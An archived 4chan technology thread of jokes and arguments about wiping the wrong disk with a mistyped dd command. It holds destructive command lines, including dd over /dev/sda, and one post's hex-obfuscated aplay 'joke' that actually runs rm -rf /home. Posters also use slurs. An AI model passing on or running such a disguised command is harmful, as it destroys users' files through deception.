[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


File: IMG_1147.png (674 KB, 1280x720)
674 KB
674 KB PNG
>mispells a single letter
>deletes entire disk
>>
OH NO!
YOU PUT A I WHERE ITS AN l
LETS DELETE EVERY FILE AND UP THE VOLTAGE ON YOUR CPU AND FRY YOUR GPU AND RAM IN THE PROCESS!!!!!!
>>
>>107056667
Spoonfeed me please.
t.windows user
>>
>>107056693
Well like if you have two drives
/dev/sda and /dev/sdb
You do dd if=linux.iso of=/dev/sda
Bug that one was your windows drive
Its now gone and you just installed linux on it
>>
>>107056667
>run dd if=/dev/zero of=/dev/sda
>nothing happens
>>
>>107056667

using dd as memory card speed tester
>>
File: 1761684611904567.jpg (60 KB, 1064x687)
60 KB
60 KB JPG
>>107056686
Who uses i's in their drive names, let alone capital letters? Who uses a terminal font with ambiguous characters? Why are you confused about characters you type into terminal?
>>
>>107056729
Thanks sda, sdb, sdc, sdd... I mean it's similar on windows with c drive and d and so on
>>
>>107056693
Imagine telling your intern to format the D: drive but you did a typo and tell him to format C: instead.
>>
>>107056759
The only real "issue" is that partitions are named sda1, sda2, so if you're absolutely retarded, and try to zero a partition, you may accidentally aim it at the whole drive. This isn't a dd issue. You could do this using cp (copy) as well if you were dumb.
I have never met anyone this retarded in person. But your typical /g/ user is extra retarded, so one of them probably has
>>
>>107056667

It is absurd how unforgiving and unfriendly unix programs are. It's not that they have to be so by design, but the issue is the developers are lazy. It's nothing more or less than this. When I develop my website, whenever there is a lack of some function that would be useful, it's not that I don't want to put it there in case it becomes too bloated. No, the problem is that I don't have the time or skill to do it.

I feel like unix developers try to hide this fact because most of them are unemployed or students (well, they are in university for the 12th year going on) and they don't have any excuse for the lack of effort. They have the time, maybe even the skill, but it's easier to do something fun that work. So they adopt this hard line approach into everything thinking it fools people to think that they are visionary, but really, they are just lazy.

This point can be proven by voluntarily offering to make something better, and getting declined because the lazy dev doesn't want to make himself look lazy and/or incompetent. But it's just that. You don't even have to be some full-stack engineer, anyone who has ever churned even html can identify with this.
>>
>>107056786
>develop my website
Webdev opinion discarded. Its not UNIX's fault that you need thirty layers and a linter to make sure you don't shit your diaper
>>
>>107056667
Well that's why they call it "disk destroyer".
Use a better, more beginner friendly tool if you don't want to take the risk.
>>107056786
Every standard "noob friendly" installation of Linux I've used has come with a built-in, GUI based tool for creating bootable USBs and manipulating disk partitions etc.
The only time I've needed to use dd was when I was using a more bare-bones system that didn't come with any of these extra tools.
>>
>>107056821

You say that as what, a python developer?
>>
>>107056821
No its an easy fix.it should be dd source=linux.iso target=‘hard drive “label”
The lack of letters is from the unix days back when they couldnt afford the bytes to write entire words
>>
>>107056667
Maybe a computer is not for you, maybe an ipad would suit you better.. something like your iphone? you know iphone?
>>
>>107056766
This is why I hate doing stuff like that using the command line. If you make a typo accidentally, your shit is gone. It's harder to click on C instead of D accidentally.
>>
>>107056869
No, it comes from a file being a file. Your syntax makes no damn sense (and even an unclosed quote). If you need labels, there is /dev/disk/by-label/. There are also directories for by-uuid and any other thing you can image. But that would require knowing anything other than the js framework of the week :)
>>
>>107056962
Have os prober make the label
>>
>>107056667
Don't use dd btw, just use cp, it's much faster (you could even use cat and it would be faster than dd)
>>
>>107056986
Fair enough, but its not a dd issue.
>>
I did that once. Accidentally wrote the installer to the Windows 7 ssd I was running instead of the thumb drive. I haven't tried poking around that old disk since that happened 10 years ago. I wonder if I even lost much data at all? That was my primary NEET thinkpad during 2012-2015.
>>
Use -i
>>
File: sangry.gif (82 KB, 498x468)
82 KB
82 KB GIF
>>107056667
>have a bazillion GUI tools
>i want to use dd directly!
>fuck up the command like a retard (lol)
>WTF LINUS SUX!!!!
>>
>>107056667
If you use your administrator permissions on windows or macos, you can do 1:1 same and destroy the whole OS with one typo. Stfu baby duck retard. Stockholm LGBT syndrome Windows c7uck.
>>
>>107056786
dd is one of the most ruthless utilities
i agree that there isn't much of an airbag if you fuck up unix commands in general, but dd is kind of an outlier

what even is the usecase for dd? fully imaging your system as a backup? i feel like that's the only real use
>>
>>107056667
thats why you have the choice of /dev/disk/by-id/
i think udev provides these interfaces.


i never did it myself though, i still use /dev/sdx for dd.

now, these labels can change so take care.
i guess /dev/disk/by-id has the least risk of changing.
>>
You could always check your drives with something like gparted and take literally a second to double check that the device matches before you press enter and run a command that erases an entire drive.
>>
>>107056667
Why not just use a normal GUI partitioning tool?
>>
>>107056667
>>107056693
>>107056729
>>107056766
>>107056939
I'd like to believe most instances of these mistakes could be prevented with a confirmation prompt.
>>
>>107056667
no real reason to use this instead of rufus/etcher that isn't geekcred
>>
File: 1759171566740275.webm (692 KB, 720x404)
692 KB
692 KB WEBM
>uses basic command line utility over a gui
>"OMG why is this so unfriendly to beginners"
/g/tards have to wear a helmet around the house to not kill themselves running against a door. You people are legit useless. Literally the same problem you'd have using a windows' diskpart
>>
linuxtroons on suicide watch
>>
Imagine being such a brainrotten zero attention span zoomer that you can't read the line you just typed into the terminal a second time before you hit enter and then verify your action again by typing in your password. Not to mention that none of this is even an issue in the first place if you did proper backups regularly like literally everyone told you to.
>>
File: aplay.gif (3.54 MB, 498x364)
3.54 MB
3.54 MB GIF
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"


>fries your headphones
nothin' personnel, kid
>>
>>107056729
>Bug that one was your windows drive
>Its now gone and you just installed linux on it
feature.
>>
>>107057702
/thread
>>
>>107056667
cmd lets you fuck up your disk, too
not really sure what your point is here and if its "well you need to use the terminal in linux" then its clear you haven't tried linux in the last 15 years lmfao
>>
>>107056774
mv * /dev/zero
>>
>>107056667
If you ever touch disk destroyer you better have a steady hand and no small amount of tension in you.
If you failed at that then your own failing. Time to put the bumpers up before you bowl.
>>
>>107056786
>This point can be proven by voluntarily offering to make something better
let me guess, when you did this you have given backwards compatibility exactly 0 seconds of thought
>>107057958
>what even is the usecase for dd?
you can write an .iso to an usb drive very quickly, but that usecase is deprecated by ventoy
>>
>>107056667
>"NOOOOO MOMMY PUT THE GUARD RAILS DOWN AND I BROKE MY TOY!!!"
Wintards really are
>>
>>107056667
yep, linux is not for plebeians, just how it is
>>
>>107061198
>let me guess, when you did this you have given backwards compatibility exactly 0 seconds of thought

Why is this a factor? Can you give me a real world example?
>>
>>107060317
>I'd like to believe most instances of these mistakes could be prevented with a confirmation prompt
I'd have liked to believe that too, but I have actually made mistakes where I overwrote shit on a prod server despite there being a confirmation prompt.
>>
idea: how about you use root only to give yourself write perms on the block device(s), then go back into normal user where you can now not do an action you'd regret even if you somehow tripped on the keyboard and also didn't notice
>>
>>107061809
thanks for proving my point
>>
>>107056686
>UP THE VOLTAGE ON YOUR CPU AND FRY YOUR GPU AND
christ, shills are getting both more desperate and more schizophrenic with every passing post>>107056693
>>
>>107056667
I hate Troonix as much as the next guy who isn't generationally welfare dependent, but these sorts of scenarios are more because your average Troonix user is a braindead tard.
Remember, most Troonix users became so because they couldn't disable Windows updates or search highlights, or the latest version simply didn't run on their trashpicked shitbox - all issues that a child with an IQ over 70 could resolve.
>>
>>107056667
This is correct and good. Computers must always be subservient to men. If I tell my computer to corrupt my drive it should obey without question. It is not a computer's place to second-guess its superiors. If you are too incompetent to wield this power you should hire a professional sysadmin to wield it for you.

You should have standard procedures for operating on raw devices anyway. Make a symlink, then dd the symlink after you've confirmed it's pointing to the right place.
>>
>>107063411
>"actually troonix are dumb for not failing at typing a simple command"
>>
>>107056667
That's actually based. Linux is not for weak soibois who don't put attention.
>>
>>107056667
That is user error, and there is now way of fixing this without severely restricting user freedom which is a no go. You can set up a permissions scheme as the admin of your system, or be careful when using the command but the responsibility is yours, since that comes with the freedom the OS provides, it's not an issue but an user error.

Git gud scrub
>>
>>107063347

Likewise to you for proving mine.2
>>
>>107060317
the confirmation prompt won't save you from human error as >>107061839 said
>>
>>107056667
>use hammer drill on wall without checking
>hit water pipe
>entire apartment gets flooded
>WTF? THIS DRILL IS SO USER UNFRIENDLY!!
>>
>>107056729
>>107056667
Stop using the path to the drive name. Use that path to the label instead:
dd if=linux.iso of=/dev/disk/by-label/HDD8TB
>>
>>107060317
>program now requires confirmation
>still has to work in scripts, so add a flag to bypass confirmation prompt
>new flag is added to everyday use and suggested every time
Although I admit, --no-preserve-root worked well to save the bottom of the barrel, probably because it was made so wordy on purpose.
>>
I'll just use an OS that doesn't have 100000000 ways to rape your computer like Troonix does, thank you.
>>
>>107060899
YOU BENCHOOOOOD *gets redeemed*
>>
>>107056729
I do not understand what this sentence is trying to say
>>








>>
>>107066845
what the fuck
>>
>>107060899
>Not dd-ing /dev/sda
Weak
>>
>>107056667
I'm not about to check, but won't dd-ing a mounted device fail with a "device or resource busy" error?
>>
File: 1748622606484376.png (110 KB, 1183x1054)
110 KB
110 KB PNG
>>107056667
>>
>>107056667
just restore your backup
>>
>>107068235
>backup
uhh what?
>>
>>107066837
Because it was written by a corporate shill in the third world who's getting paid like 5 rupees per post.
>>
File: 1748045979837057.png (344 KB, 630x449)
344 KB
344 KB PNG
>>107056667
>miswords a single sentence
>deletes entire world
>>
>>107068146
Not on Linux.
OpenBSD does make raw disk devices of mounted filesystems read-only with securelevel 1, which is the default.
>>
>>107056729
What if I have three drives? sda sdb and sdc. sdc is my "precious memories" drive and it's full of irreplaceable photos and videos of my family. sdb is a random shit drive. however only sometimes because sdb and sdc love to swap around randomly.
>>
>>107068797
>however only sometimes because sdb and sdc love to swap around randomly.
Configure your shit correctly.
>>
>>107068797
have you considered not using sd* and using a more stable identifier like disk-id?
>>
>>107068803
no it's random

>>107068809
I mount by UUID but I always have to be careful that it hasn't swapped again after a reboot.
>>
>>107056786
Is not for retards, you little kiddo.
>>
>>107056686
Font issue, get one created for people by people, not by some retard faggots.
>>
>>107056757
well if you have 12+ scsi drives in your machine then you'll have an sdi and an sdl
>>
>>107056786
there's a bunch of simple graphical tools for writing images to removable media, similar if not the same as ones you find on windows
it's not like you have to use dd (really, i wouldn't even recommend it, it's pretty archaic and if you aren't using it's conv/skip/seek/etc options then there's better options)



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.